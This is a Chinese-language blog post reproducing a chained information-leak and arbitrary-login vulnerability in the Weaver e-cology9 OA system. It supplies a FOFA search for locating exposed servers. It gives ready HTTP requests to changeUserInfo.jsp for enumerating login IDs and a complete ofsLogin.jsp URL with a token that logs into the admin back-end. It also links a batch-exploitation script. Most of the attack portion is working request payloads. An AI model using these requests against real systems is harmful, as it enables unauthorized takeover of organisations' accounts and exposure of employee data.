泛微e-cology9 changeUserInfo信息泄漏及ofsLogin任意用户登录漏洞复现

漏洞简介

2023年05月15日,泛微官方发布10.57.2版本安全补丁。其中修复了两个漏洞,分别是信息泄漏和任意用户登录漏洞,两个漏洞可以被攻击者组合起来利用,从而能够使攻击者进入到系统后台。

影响版本

9.00.2110.01以及之前的版本是不受该漏洞的影响的,在 9.00.2206.02以及之后的版本可能会受到该漏洞的影响,而在这两个版本之间的版本,由于没有源码,是否受影响就不得而知了。
补丁版本:<10.57.2

漏洞复现

fofa语法:app="泛微-协同办公OA"
任意用户登录漏洞的利用前提是,需要已知一个存在于HrmResource表中的loginid。

第一种信息泄露利用方式

/mobile/plugin/changeUserInfo.jsp文件查询时使用了 %,可以模糊匹配 mobile,当查询出的结果条数为0时,返回 {"status":"-1"}

GET /mobile/plugin/changeUserInfo.jsp?type=getLoginid&mobile=1234 HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close


当大于1时返回 {"status":"0"},如下。

GET /mobile/plugin/changeUserInfo.jsp?type=getLoginid&mobile=1 HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close


在这种情况下,是可以利用BurpSuite的Intruder做进一步模糊查询移动电话的。如下图,存在一个包含13开头的移动电话。

当等于1时返回 {"status":"1"}以及 loginId及其值,在这种情况下,我们就可以直接获取一个 loginId

但不过,在上面我们登入系统后台新建一名人员,填写人员信息时,移动电话并不是必填项。 %模糊匹配虽然好用,但是当表中的数据条目超过1条,并且它们的 mobile字段都为空时,它便再无用武之地了。

第二种信息泄露利用方式

跟进 weaver.login.LoginRemindService中的 getPassChangedReminder方法,发现如果提供的 loginId参数值在 HrmResourceManager表中存在,则 code的值会等于 "21",否则 code等于 "-1"。那么根据这个差异便可以用来爆破 loginId,如下图。

GET /mobile/plugin/changeUserInfo.jsp?type=status&loginId=2021020081 HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close


第三种信息泄露利用方式

GET /mobile/plugin/changeUserInfo.jsp?type=getUserid&loginId=2021020081 HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close


任意用户登录

在已知一个 loginId值为 "user1"的情况下,首先通过加密算法生成 loginTokenFromThird的值。

然后作如下请求,便能成功进入系统后台 /wui/index.html页面。

http://IP:port/mobile/plugin/1/ofsLogin.jsp?syscode=IM&timestamp=2&gopage=/wui/index.html&receiver=2021020081&loginTokenFromThird=dd70c814bd561d2355b4b37a33c67fd2

工具批量探测

一个师傅写的脚本:https://github.com/A0WaQ4/Weaver_ofslogin_vul
参考:https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652502015&idx=1&sn=39a4dd93fe5cc0a85dcb4aae28c6bf9c&chksm=f258544cc52fdd5a3ef748e125527cbe76d325b0b403ce359b686362a5cd923963e16faa2d45&scene=126&sessionid=1685092163&key=79faf193ca39ac845d45b240e517ccf717a50d07a9efad057991dbb878a24c00e9e8e4c2f3c84761361f7ff6a20040112d0d939914828f699229867b029a53fa957167f7b7be31f03cc8f249ba8f24232b359ecbc12c17027d3143b22e4915b41d3a6506ca566b13c76ce44a1e998cfa82968ee5fa4b159a3d52661d7480b3a9&ascene=15&uin=MzgxODQ4MjMz&devicetype=Windows+10+x64&version=63060012&lang=zh_CN&session_us=gh_7c749a8346d4&countrycode=GY&exportkey=n_ChQIAhIQ%2BcZx3tWxO0E8DrQjq2wpEhLvAQIE97dBBAEAAAAAADhYIKpLxZwAAAAOpnltbLcz9gKNyK89dVj021DG4x9QVpW9CXybpPpZ9qPTtZ8Qi0IYkOJTsU0z01YuxLeoWHBWWnq6ahSSdj2YdyvXZJVQNRmXDajYswlKJonxlRiXhKW%2Buu%2BNT%2BRFdiemTUgrCWyDH%2FFRsuXV%2FCeFYKdgPyKsjVNsv2nkl%2FurlVE%2F%2ByKVBB6ZktCegyDjbLg3wbFJ3cPplsGjjO4U%2FbW%2BRb7MPyBGa7xALwKMKjBejakftbNF63xcQG7CKN9s8CV73KbORpi3c5JXMk2DVZoNxFcynBMtEoc8&acctmode

posted @ 2023-09-04 16:07  学安全的小白  阅读(5409)  评论(0编辑  收藏  举报